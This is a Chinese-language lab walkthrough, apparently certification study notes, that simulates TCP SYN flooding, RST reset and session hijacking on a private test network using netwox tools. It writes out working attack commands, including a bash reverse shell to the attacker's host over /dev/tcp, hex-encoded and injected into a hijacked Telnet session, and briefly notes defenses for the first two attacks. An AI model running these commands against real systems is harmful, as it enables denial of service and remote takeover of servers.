欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

HCIE(3)——TCP DOS攻击模拟

程序员文章站 2024-03-25 11:36:46
...

一、TCP半开攻击

1)攻击原理
攻击方只需要发送大量的syn分节给服务器,然后对服务器返回的syn+ack什么也不做,直接忽略掉。
不发送ack给服务器,这样就可以一直占着服务器半连接对列的资源,导致正常的客户端无法连接上服务器。
syn flood的攻击方式主要有两种:
第一种是,攻击方的客户端一直发送syn,对于服务端回复的syn+ack什么也不做,直接忽略掉。
第二种是,攻击方的客户端发送syn时,将源IP改为一个虚假的IP,然后服务器会将syn+ack发送到虚假IP上去,这样客户端也不需要回复ack。
2)半开攻击实验模拟
①环境准备:

服务端:172.24.8.134
客户端:172.24.8.253
攻击者:172.24.8.129

②在服务端首先将**/proc/sys/net/ipv4/net.ipv4.tcp_syncookies**的值设为0,关闭防御机制,增强实验效果。
③使用netwox的76号工具进行攻击
攻击前使用客户端连接服务端(在服务端搭建了一个http服务器用来测试)
HCIE(3)——TCP DOS攻击模拟
发现可以成功访问

使用netwox 76 号工具进行攻击

sudo netwox 76 -i 172.24.8.134 -p 80

再次进行测试:
HCIE(3)——TCP DOS攻击模拟
发现已经不能成功建立连接了
3)防御措施
建立cookies机制。
cookies机制就是只为已经成功建立了TCP连接的主机,继续分配连接资源。像那种发出大量syn的连接,但不回复ack的连接,不予受理。后面的连接是建立在前面的连接三次握手已经完成的基础上的。
做法:将/etc/sysctl.conf中的net.ipv4_syscookies值设为1(默认情况下就是1)。
cookies的建立是利用了hash算法提取TCP头部的一写字段来做标记,相当于建立了一个名单。

二、TCP RST重置攻击

1)攻击原理
RST:就算是reset的意思,重置就是指受害者收到的TCP包中携带RST字段,不论当前处于什么状态,都会将当前的连接释放掉。
举例来说,就是A和服务器B建立的TCP连接,如果此时的攻击者C伪造了一个TCP RST的包发给B,就会使B异常的断开与A的连接,这就是RST攻击。
伪造带RST位的TCP包会有什么后果:
①假定攻击者C伪装A发过去的包,这个包里面的RST置位,缓冲器上所有数据,B都会丢弃,并强制关闭所有连接。
②如果C伪装成A发过去的包是syn包,那么B会表示A已经是正常的连接了却又来建立新的连接,默认是不安全,B会主动向A 发送一个RST包,并在自己这端强制关闭连接。
2)开始攻击
①环境准备:

服务端:172.24.8.134
客户端:172.24.8.253
攻击者:172.24.8.129

②使用netwox的78号工具进行攻击
攻击前使用客户端远程连接Telnet服务端
HCIE(3)——TCP DOS攻击模拟
开始攻击:

sudo netwox 78 -i "172.24.8.134" -f "port 80"

HCIE(3)——TCP DOS攻击模拟
可以看到,再次查看的时候,发现已经断开了连接了。
3)防御手段
简单粗暴的一个可行方法:通过防火墙进行简单设置,建议使用防火墙将进来的带RST位的包丢弃。

三、TCP劫持及反弹shell攻击

1)TCP劫持攻击原理
HCIE(3)——TCP DOS攻击模拟
1、hacker获取client与server的TCP会话包(通常通过ARP毒化、MAC地址洪泛等方法)
2、观察server发送给client的TCP报文,以获取client将要发送给server的下一个报文信息。
需要将里面显示的***显示为真正的***。
HCIE(3)——TCP DOS攻击模拟
3、hacker利用工具伪造一个TCP报文,发送给server,其内容信息通过步骤2获得的报文信息来确定。
大致需要的报文信息有:
二层的src-MAC是hacker的地址
三层的src-IP是client的IP,des-IP是server的IP)四层的参数则是通过步骤2获取。
2)反弹shell原理
可以使用kali和客户端来实现:
kali上先利用需要监听的端口,这里我们监听9999端口

sudo nc -l -p 9999 -v

将反弹shell转换为16进制

bash -i>&/dev/tcp/172.24.8.129/9999 0>&1
//这是一个简单的shell脚本

我们使用HEX编码器将这个shell脚本转换为16进制编码(切记:在编码结束后面要加上回车键的16进制0d00,表示执行的意思)

62617368202D693E262F6465762F7463702F3137322E32342E382E3132392F3939393920303E26310d00

观看效果:使用ls可以进行一下测试
HCIE(3)——TCP DOS攻击模拟
2)实验模拟
①实验环境准备

服务端:172.24.8.128
客户端:172.24.8.253
攻击者:172.24.8.129

提前打开wireshark抓包工具。
②先使用客户端远程Telnet服务端,并且攻击者kali开启反弹shell功能。
HCIE(3)——TCP DOS攻击模拟
HCIE(3)——TCP DOS攻击模拟
③攻击者使用wireshark抓包工具并分析报文
HCIE(3)——TCP DOS攻击模拟
④使用netwox的40号工具进行TCP的劫持(里面内容是根据步骤③报文分析而得)

sudo netwox 40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 172.24.8.253 --ip4-dst 172.24.8.128 --tcp-src 1077  --tcp-dst 23 --tcp-seqnum 263448091 --tcp-acknum 780472132 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3137322E32342E382E3132392F3939393920303E26310d00

HCIE(3)——TCP DOS攻击模拟
测试结果:
HCIE(3)——TCP DOS攻击模拟
可以看到攻击者已经成功远程到了服务器上。

相关标签: 网络实验